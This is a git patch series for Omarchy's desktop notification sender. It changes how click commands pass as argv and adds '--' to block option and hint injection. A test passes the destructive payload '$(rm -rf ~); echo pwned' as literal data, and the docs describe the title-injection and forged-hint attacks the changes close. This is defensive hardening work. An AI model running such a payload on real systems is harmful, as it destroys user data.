Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. osd_progress() { @@ -150,9 +146,11 @@ download_url() { # Best-effort: the download already succeeded, and under `set -e` a failed # toast would exit before the thumbnail cleanup below is ever scheduled. + # `--` keeps mpv from parsing a leading-dash filename as an option; the path + # is one discrete argument, so it never reaches a shell. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - "${playback_exec_args[@]}" "$filepath" || true + --exec mpv -- "$filepath" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index 582564a0..ee1ed82d 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -32,16 +32,17 @@ announce() { # likely to be delivered is the one most worth reporting. omarchy-notification-wait || return 1 - # --exec-arg rather than a libnotify action: the shell runs clicks from its own + # --exec rather than a libnotify action: the shell runs clicks from its own # hint and never emits ActionInvoked. Keeps the default "omarchy-action" app # name, the only one shouldBypassDnd() lets through. Crash details ride as - # literal argv, so a hostile process name can't be reparsed as a command. + # discrete argv words, so a hostile process name can't be reparsed as a + # command. --exec consumes the rest of the line, so it comes last. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ - --exec-arg omarchy-agent-crash --exec-arg "$pid" --exec-arg "$comm" --exec-arg "$exe" --exec-arg "$signal" \ "Process crashed: $comm" \ - "Click to diagnose with AI" + "Click to diagnose with AI" \ + --exec omarchy-agent-crash "$pid" "$comm" "$exe" "$signal" } # -n 0 so a restart does not re-announce crashes already dealt with. diff --git a/bin/omarchy-migrate-notify b/bin/omarchy-migrate-notify index 99215979..00cce3d6 100755 --- a/bin/omarchy-migrate-notify +++ b/bin/omarchy-migrate-notify @@ -41,7 +41,7 @@ fi # The shell keeps the click command with the toast, so this oneshot can hand the # invitation over and exit instead of staying activated until it is answered. omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-migrate && exit 0 + --exec omarchy-launch-floating-terminal-with-presentation omarchy-migrate && exit 0 # Reached when the notification could not be handed off, so fall back to telling # the user in the terminal. diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index d3b3977f..613f34d7 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -13,9 +13,29 @@ urgency="low" app_name="omarchy-action" image= exec_args=() +exec_present=0 args=() parsed_option_args=0 +# Split off the click command first: everything after --exec is its argv. The +# caller's shell has already tokenized those words into discrete arguments, and +# the shell runs them as-is (never re-parsed by a shell), so a value carrying +# untrusted data — a title, a filename — is only ever one argument and can never +# become a command. --exec therefore consumes the rest of the line and must +# come last. +pre_args=() +while (($# > 0)); do + if [[ $1 == "--exec" ]]; then + shift + exec_args=("$@") + exec_present=1 + break + fi + pre_args+=("$1") + shift +done +set -- "${pre_args[@]}" + parse_omarchy_option() { case $1 in -g | --glyph) @@ -54,22 +74,6 @@ parse_omarchy_option() { parsed_option_args=2 return 0 ;; - --exec) - # Removed: a free-form shell string is safe only if the caller quotes every - # value, and its existence invites the next caller to skip that. Use --exec-arg. - echo "--exec is no longer supported: pass each argument with --exec-arg (e.g. --exec-arg mpv --exec-arg -- --exec-arg \"\$file\")" >&2 - exit 1 - ;; - --exec-arg) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - # One literal argument of the click command, taken verbatim (even a "-value"). - exec_args+=("$2") - parsed_option_args=2 - return 0 - ;; esac return 1 @@ -84,7 +88,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]]" exit 1 fi @@ -118,9 +122,21 @@ fi # The click command travels with the popup as an argv hint the shell runs # itself, so restored toasts stay clickable and senders don't block on a -# libnotify action (which dies when the shell restarts). --exec-arg is the only -# form: no free-form shell string to interpolate into unsafely. -if ((${#exec_args[@]} > 0)); then +# libnotify action (which dies when the shell restarts). +if ((exec_present)); then + if ((${#exec_args[@]} == 0)); then + echo "--exec needs a command: --exec [args...]" >&2 + exit 1 + fi + # A single word with a space is almost always a whole command passed as one + # quoted string — which would run a program literally named that. Splitting it + # ourselves is exactly the injection we avoid, so reject it and point at the + # unquoted form instead. + if ((${#exec_args[@]} == 1)) && [[ ${exec_args[0]} == *[[:space:]]* ]]; then + echo "--exec takes the command as separate words, not one quoted string." >&2 + echo "Write: --exec ${exec_args[0]}" >&2 + exit 1 + fi # NUL-delimit into jq so every byte survives as data: jq's own --args would eat # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index a2ff3809..844b8f73 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -72,7 +72,7 @@ announce() { # Announcing is best-effort: the file is already delivered, and under `set -e` # a notification outage would otherwise kill the long-running receiver. - omarchy-notification-send "${args[@]}" --exec-arg xdg-open --exec-arg "$path" || true + omarchy-notification-send "${args[@]}" --exec xdg-open "$path" || true } deliver() { diff --git a/docs/notifications.md b/docs/notifications.md index ee06d509..b1c8b96d 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,7 +69,7 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv (see below). This is the only click-command mechanism | +| `--exec [args…]` | `--hint=string:omarchy-exec-argv:` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -92,29 +92,40 @@ an action and just expect click-to-jump. ### Click commands are argv, never shell strings -A click command is built from discrete `--exec-arg` arguments. Each `--exec-arg` -contributes one literal argument; the shell runs the resulting vector through -`Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as -**positional parameters** — never interpolated into the script text. bash -expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying -data an attacker controls — a downloaded video's title, a received filename, a -crashed process's name — is only ever a single argument and can never be -reparsed as a command. The login shell keeps the PATH and session environment -that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is -the parameterized form: pass untrusted data as its own `--exec-arg`. +`--exec` consumes the rest of the line as the click command: -There is deliberately **no** free-form shell-string variant. An earlier `--exec` -flag took a whole command as one string run through `bash -lc`; it was safe only -when the caller shell-quoted every interpolated value perfectly — the same trap -as string-concatenated SQL, and the exact shape of the yt-dlp title RCE. Even -kept "for compatibility" it was a standing invitation for the next caller to -skip the quoting and reintroduce the hole, so it was removed outright: -`omarchy-notification-send --exec` now errors and points at `--exec-arg`. The -shell fails closed on a malformed argv hint (it must be a JSON array of strings -whose program is present and not a leading-dash option) rather than running -anything it can't validate. A caller can still deliberately name a shell as the -program (`--exec-arg sh --exec-arg -c …`), but that is an obvious, reviewable -red flag rather than the default shape. +```bash +omarchy-notification-send "Download complete" "$title" --exec mpv -- "$file" +``` + +The caller's shell has already split those words into discrete arguments, and a +quoted argument (`"$file"`) stays one argument even with spaces. On the shell +side they are run through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'` +with the arguments as **positional parameters** — never interpolated into the +script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a +value carrying data an attacker controls — a downloaded video's title, a +received filename, a crashed process's name — is only ever a single argument and +can never be reparsed as a command. The login shell keeps the PATH and session +environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect. + +The critical rule: **the splitting must happen at the call site, not inside the +tool.** Passing a single quoted string (`--exec "mpv $title"`) and letting the +tool whitespace-split it would hand argument boundaries to whoever controls the +string's content — a title with a space could inject an extra option or program. +So `--exec` refuses a lone quoted-string argument and points at the unquoted +form. There is no "take a command string and sanitize it" path; that is the +escaping trap (string-concatenated SQL) the yt-dlp title RCE exploited. + +The shell fails closed on a malformed argv hint (it must be a JSON array of +strings whose program is present and not a leading-dash option) rather than +running anything it can't validate. A caller can still deliberately name a shell +as the program (`--exec sh -c …`), but that runs code because the *developer* +wrote it, not because attacker data became a command — a reviewable red flag +(greppable as `--exec sh`/`--exec bash`), not an injection. Insulating against a +native same-user process is out of scope: it already runs with your privileges +and needs no notification to execute code. What is fully closed is untrusted +*content* — web notifications can't set the exec hint at all, and any relayed +title/filename is confined to inert argument data. ## Helper commands @@ -140,8 +151,8 @@ Everything goes through the same sender contract, so the pieces are small: `battery-low` hook. - **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump journal stream and announces each crashed program (deduped per minute) as a - critical toast whose click runs `omarchy-agent-crash` (via `--exec-arg`, so a - hostile process name stays a literal argument). It waits for the + critical toast whose click runs `omarchy-agent-crash` (via `--exec`, so a + hostile process name stays a discrete argument). It waits for the server first: a shell crash takes the notification server down with it, and that crash is the one most worth reporting. - **Pending migrations** — `omarchy-migrate-notify` (from its user service diff --git a/install/user/first-run/install-voxtype.hook b/install/user/first-run/install-voxtype.hook index 554fd4be..1d07daa6 100644 --- a/install/user/first-run/install-voxtype.hook +++ b/install/user/first-run/install-voxtype.hook @@ -5,5 +5,5 @@ set -e if omarchy-done ensure voxtype-install-invitation; then omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ "Click to install voice dictation for Omarchy." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-voxtype-install + --exec omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install fi diff --git a/install/user/first-run/setup-agent.hook b/install/user/first-run/setup-agent.hook index f5427c5e..90596b83 100644 --- a/install/user/first-run/setup-agent.hook +++ b/install/user/first-run/setup-agent.hook @@ -7,5 +7,5 @@ set -e if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ "Let your favorite agent help with Omarchy." \ - --exec-arg omarchy --exec-arg menu --exec-arg summon --exec-arg setup.default.agent + --exec omarchy menu summon setup.default.agent fi diff --git a/install/user/first-run/setup-fingerprint.hook b/install/user/first-run/setup-fingerprint.hook index 075048d2..2861eef0 100644 --- a/install/user/first-run/setup-fingerprint.hook +++ b/install/user/first-run/setup-fingerprint.hook @@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && omarchy-done ensure fingerprint-setup-invitation; then omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ "Enable sudo and unlocking with your fingerprint." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-setup-security-fingerprint + --exec omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint fi diff --git a/install/user/first-run/welcome.sh b/install/user/first-run/welcome.sh index 3e855cd8..22e6629e 100644 --- a/install/user/first-run/welcome.sh +++ b/install/user/first-run/welcome.sh @@ -2,4 +2,4 @@ # elides past three lines. omarchy-notification-send -u critical -g  "Learn Keybindings" \ $'Super + K for cheatsheet.\nSuper + Space for Omarchy Menu.' \ - --exec-arg omarchy-menu-keybindings + --exec omarchy-menu-keybindings diff --git a/install/user/first-run/wifi.sh b/install/user/first-run/wifi.sh index c16cc30f..3b2af23a 100644 --- a/install/user/first-run/wifi.sh +++ b/install/user/first-run/wifi.sh @@ -1,11 +1,11 @@ notify_update() { omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-update + --exec omarchy-launch-floating-terminal-with-presentation omarchy-update } notify_wifi() { omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \ - --exec-arg omarchy-shell --exec-arg shell --exec-arg toggle --exec-arg omarchy.network + --exec omarchy-shell shell toggle omarchy.network } announce_network() { diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index a283bc97..849521c2 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -58,7 +58,7 @@ function glyphFromHints(hints) { } // The click action: a JSON argv string from omarchy-notification-send -// --exec-arg. Carried as data so a toast restored after a shell restart stays +// --exec. Carried as data so a toast restored after a shell restart stays // clickable (a libnotify action can't — its sender is gone). Run via // Util.execArgv as bash positional parameters, never a shell string, so // attacker-controlled values (a title, a filename) can't become commands. diff --git a/test/shell.d/agent-invitation-test.sh b/test/shell.d/agent-invitation-test.sh index 3cd17745..e54603fd 100644 --- a/test/shell.d/agent-invitation-test.sh +++ b/test/shell.d/agent-invitation-test.sh @@ -20,7 +20,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 7b4ae512..99ef460f 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -131,13 +131,9 @@ dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") [[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" pass "yt-dlp native host does not pass a leading-dash title to notify-send" -# The click action is an argv vector the shell runs without a shell, so the path -# is a literal --exec-arg rather than a value quoted into a command string. The -# prefix is static; `--` keeps mpv from parsing a leading-dash filename. -playback_argv=$(host_fn eval 'printf "%s\n" "${playback_exec_args[@]}"') -[[ $playback_argv == $'--exec-arg\nmpv\n--exec-arg\n--\n--exec-arg' ]] || - fail "yt-dlp native host runs mpv with -- before the path as argv" "$playback_argv" -pass "yt-dlp native host runs mpv with -- before the path as argv" +# The click action passes the path as a discrete --exec argument (asserted +# end-to-end below against the real download); `--` keeps mpv from parsing a +# leading-dash filename as an option. parse_script="$TMPDIR/parse-ytdlp-lines.sh" cat >"$parse_script" <<'EOF' @@ -232,9 +228,9 @@ grep -qF -- $'OMARCHY_FILE\t%(title)s' "$ytdlp_argv" && fail "yt-dlp native host never prints the title into the file record" "$(cat "$ytdlp_argv")" pass "yt-dlp native host never prints the title into the file record" -grep -q -- "--exec-arg mpv --exec-arg -- --exec-arg " "$notify_argv" || - fail "yt-dlp native host builds the click command as an mpv -- argv" "$(cat "$notify_argv")" -pass "yt-dlp native host builds the click command as an mpv -- argv" +grep -q -- "--exec mpv -- " "$notify_argv" || + fail "yt-dlp native host builds the click command as mpv -- " "$(cat "$notify_argv")" +pass "yt-dlp native host builds the click command as mpv -- " grep -qF -- "Download complete My Great Clip" "$notify_argv" || fail "yt-dlp native host toasts the page title, not the sanitised filename" "$(cat "$notify_argv")" diff --git a/test/shell.d/fingerprint-invitation-test.sh b/test/shell.d/fingerprint-invitation-test.sh index d3f5ceaa..754cae2c 100644 --- a/test/shell.d/fingerprint-invitation-test.sh +++ b/test/shell.d/fingerprint-invitation-test.sh @@ -33,7 +33,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" diff --git a/test/shell.d/migrate-notify-test.sh b/test/shell.d/migrate-notify-test.sh index 10e46959..ef2008bd 100644 --- a/test/shell.d/migrate-notify-test.sh +++ b/test/shell.d/migrate-notify-test.sh @@ -158,7 +158,7 @@ exec {foreign_lock_fd}>&- rm -f "$test_tmp/notify-args" run_notify 1 >/dev/null 2>&1 notify_args_written || fail "migration notifier sends the notification before exiting" -grep -Fx -- '--exec-arg' "$test_tmp/notify-args" >/dev/null || +grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null || fail "migration notifier attaches the click command to the toast" grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null && grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null || diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 015ead0d..913163c1 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -16,9 +16,14 @@ printf '%s\n' \ >"$stub" chmod +x "$stub" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \ - --exec-arg omarchy-menu-keybindings --exec-arg 'a b' "Learn Keybindings" "Body" +send() { + OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send "$@" +} + +# --exec consumes the rest of the line, so it comes after the headline/description. +send --app-name custom-app -g K -u critical --image /tmp/image.png \ + "Learn Keybindings" "Body" --exec omarchy-menu-keybindings 'a b' mapfile -t args <"$args_file" @@ -28,47 +33,55 @@ mapfile -t args <"$args_file" [[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts exec args to an argv hint" "${args[6]}" +[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" [[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" [[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec-arg options" +pass "notification wrapper supports app, glyph, urgency, image, and exec options" # The shell runs the click command itself, so nothing may block the sender on a # libnotify action round-trip. grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" : >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Plain" >/dev/null - +send "Plain" >/dev/null grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" pass "notification wrapper omits the exec hint when no command is given" -# The free-form shell-string --exec is gone: its existence let a caller skip -# quoting and reintroduce the RCE, so it is rejected outright in favor of the -# argv-only --exec-arg. +# Rest-of-line --exec: the caller's shell has already split the words into +# discrete arguments, and the shell runs them without re-parsing, so shell +# metacharacters in a value are carried as data, never as a command. : >"$args_file" -if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec 'anything' "Headline" 2>/dev/null; then - fail "notification wrapper rejects the removed --exec flag" -fi -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no exec hint for a rejected --exec" -pass "notification wrapper rejects the removed --exec flag" - -# --exec-arg builds an argv vector encoded as a JSON array, so shell -# metacharacters in a value are carried as data, never as a command. The shell -# runs this argv directly (no shell), which is what keeps a hostile title or -# filename from becoming code when the toast is clicked. -: >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec-arg mpv --exec-arg -- --exec-arg '$(rm -rf ~); echo pwned' \ - "Download complete" >/dev/null - +send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} [[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" [[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" [[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" -grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" -pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" +pass "notification wrapper encodes rest-of-line --exec as a literal JSON argv vector" + +# A quoted argument with spaces stays ONE argument — something a whitespace-split +# of a single string could never do. +: >"$args_file" +send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq 'length' <<<"$argv_json") == 3 ]] || fail "notification wrapper keeps a spaced path as one argument" "$argv_json" +[[ $(jq -r '.[2]' <<<"$argv_json") == "/tmp/a b.mp4" ]] || fail "notification wrapper preserves the spaced path verbatim" "$argv_json" +pass "notification wrapper keeps a spaced argument intact" + +# The muscle-memory trap: a single quoted whole command would run a program named +# with spaces. Reject it and point at the unquoted form rather than splitting it +# ourselves (which is the injection we avoid). +: >"$args_file" +if send "Head" --exec "omarchy toggle something" 2>/dev/null; then + fail "notification wrapper rejects a quoted whole command" +fi +grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no hint for a rejected --exec" +pass "notification wrapper rejects a single quoted whole command" + +# --exec with nothing after it is a usage error, not a silent no-op. +if send "Head" --exec 2>/dev/null; then + fail "notification wrapper rejects --exec with no command" +fi +pass "notification wrapper rejects --exec with no command" diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index 97557186..75c12520 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -62,11 +62,11 @@ pass "taildrop receive announces other files with a glyph" # The shell keeps the click command with the toast, so receiving does not have # to sit blocked on an answer -- and the toast still opens the file after a shell -# restart. The path rides as its own --exec-arg, so the shell runs it as literal -# data with no quoting for a name with spaces to get wrong. -grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/photo.png" <<<"$notifications" || +# restart. The path rides as its own discrete --exec argument, so the shell runs +# it as literal data with no quoting for a name with spaces to get wrong. +grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" || fail "taildrop receive attaches the open command to the notification" "$notifications" -grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/notes with space.pdf" <<<"$notifications" || +grep -qF -- "--exec xdg-open $downloads/notes with space.pdf" <<<"$notifications" || fail "taildrop receive carries spaced names as a literal open argument" "$notifications" pass "taildrop receive lets a click open the received file" diff --git a/test/shell.d/voxtype-invitation-test.sh b/test/shell.d/voxtype-invitation-test.sh index d8170613..2c6efd07 100644 --- a/test/shell.d/voxtype-invitation-test.sh +++ b/test/shell.d/voxtype-invitation-test.sh @@ -20,7 +20,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" From 21cbbf819490c3017f32e66298e12d0c3ceabd30 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 14:41:56 -0400 Subject: [PATCH 5/9] Recognize --exec only after the positionals MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A greedy pre-scan matched the first --exec token anywhere on the line, so an untrusted headline or description literally equal to "--exec" could be mistaken for the delimiter. It always failed closed (the following token became a dash-option argv[0] that parseExecArgv rejects), but it was a latent footgun surfaced by an adversarial review. Detect --exec only in the trailing-option loop, after the headline/description positionals are captured. A headline that is the string "--exec" is now kept as text and the real trailing --exec still wins. The residual — a description exactly equal to "--exec" losing its click action — is an inherent, harmless CLI ambiguity for a value identical to the delimiter. --- bin/omarchy-notification-send | 33 ++++++++++---------------- test/shell.d/notification-send-test.sh | 12 ++++++++++ 2 files changed, 25 insertions(+), 20 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 613f34d7..272c9592 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -17,25 +17,6 @@ exec_present=0 args=() parsed_option_args=0 -# Split off the click command first: everything after --exec is its argv. The -# caller's shell has already tokenized those words into discrete arguments, and -# the shell runs them as-is (never re-parsed by a shell), so a value carrying -# untrusted data — a title, a filename — is only ever one argument and can never -# become a command. --exec therefore consumes the rest of the line and must -# come last. -pre_args=() -while (($# > 0)); do - if [[ $1 == "--exec" ]]; then - shift - exec_args=("$@") - exec_present=1 - break - fi - pre_args+=("$1") - shift -done -set -- "${pre_args[@]}" - parse_omarchy_option() { case $1 in -g | --glyph) @@ -101,7 +82,19 @@ if (($# > 0)) && [[ $1 != -* ]]; then fi while (($# > 0)); do - if parse_omarchy_option "$@"; then + if [[ $1 == "--exec" ]]; then + # --exec consumes the rest of the line as the click command's argv. The + # caller's shell already tokenized those words into discrete arguments, and + # the shell runs them as-is (never re-parsed), so untrusted data in an + # argument is only ever one argument and can never become a command. + # Detected only here, after the headline/description positionals are + # captured, so an untrusted headline that is literally "--exec" is taken as + # text and can't be mistaken for the delimiter. --exec therefore comes last. + shift + exec_args=("$@") + exec_present=1 + break + elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else args+=("$1") diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 913163c1..1819032e 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -85,3 +85,15 @@ if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" + +# --exec is recognized only after the positionals, so an untrusted headline or +# description that is literally "--exec" is taken as text and cannot be mistaken +# for the delimiter (the real --exec later still wins). +: >"$args_file" +send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq -c '.' <<<"$argv_json") == '["mpv","--","/tmp/v.mp4"]' ]] || fail "notification wrapper ignores a --exec-looking headline as the delimiter" "$argv_json" +grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" +grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" +pass "notification wrapper does not treat a --exec-looking positional as the delimiter" From 1b15120d272b88066a4da47e71a5a9c84b83ebb3 Mon Sep 17 00:00:00 2001 From: "Claude Opus 5 (1M context)" Date: Sun, 23 Aug 2026 21:44:06 +0200 Subject: [PATCH 6/9] Keep relayed text out of notify-send's option parser The argv click command closed injection through the hint's value, but the sender still handed the headline and description to notify-send bare. A value beginning with a dash is parsed there as flags, and one shaped like `--hint=string:omarchy-exec-argv:[...]` is read as a hint of its own -- libnotify keys hints in a hash table, so the later of two replaces the earlier and a forged headline outranks the vector --exec built. That is reachable without any --exec in sight: omarchy-tailscale-send passes a single file's basename verbatim as the description, so a file named like the hint gives its click action to whoever chose the name. Put the headline and description behind a `--` so notify-send reads them as text, and refuse any pass-through word carrying omarchy-exec-argv -- --exec is the only thing that may build a click command. Co-Authored-By: Codex XHigh --- bin/omarchy-notification-send | 15 +++++++++++++-- docs/notifications.md | 6 ++++++ test/shell.d/notification-send-test.sh | 25 +++++++++++++++++++++++-- 3 files changed, 42 insertions(+), 4 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 272c9592..773e87d7 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -97,6 +97,14 @@ while (($# > 0)); do elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else + # --exec is the only door to a click command. A relayed title or filename + # that lands here -- passthrough is the one position an untrusted value can + # still reach notify-send as an option -- must not be able to set the hint + # itself, which is the injection this transport exists to close. + if [[ $1 == *omarchy-exec-argv* ]]; then + echo "The click command hint can only be set with --exec, not passed through." >&2 + exit 1 + fi args+=("$1") shift fi @@ -136,8 +144,11 @@ if ((exec_present)); then args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") fi +# `--` so notify-send reads the headline and description as text. Without it a +# headline beginning with a dash is parsed as options ("-rf x" becomes -r), and +# one shaped like `--hint=string:...` sets a hint of its own. if [[ -n $description ]]; then - notify-send "${args[@]}" "$headline" "$description" + notify-send "${args[@]}" -- "$headline" "$description" else - notify-send "${args[@]}" "$headline" + notify-send "${args[@]}" -- "$headline" fi diff --git a/docs/notifications.md b/docs/notifications.md index b1c8b96d..cad18248 100644 --- a/docs/notifications.md 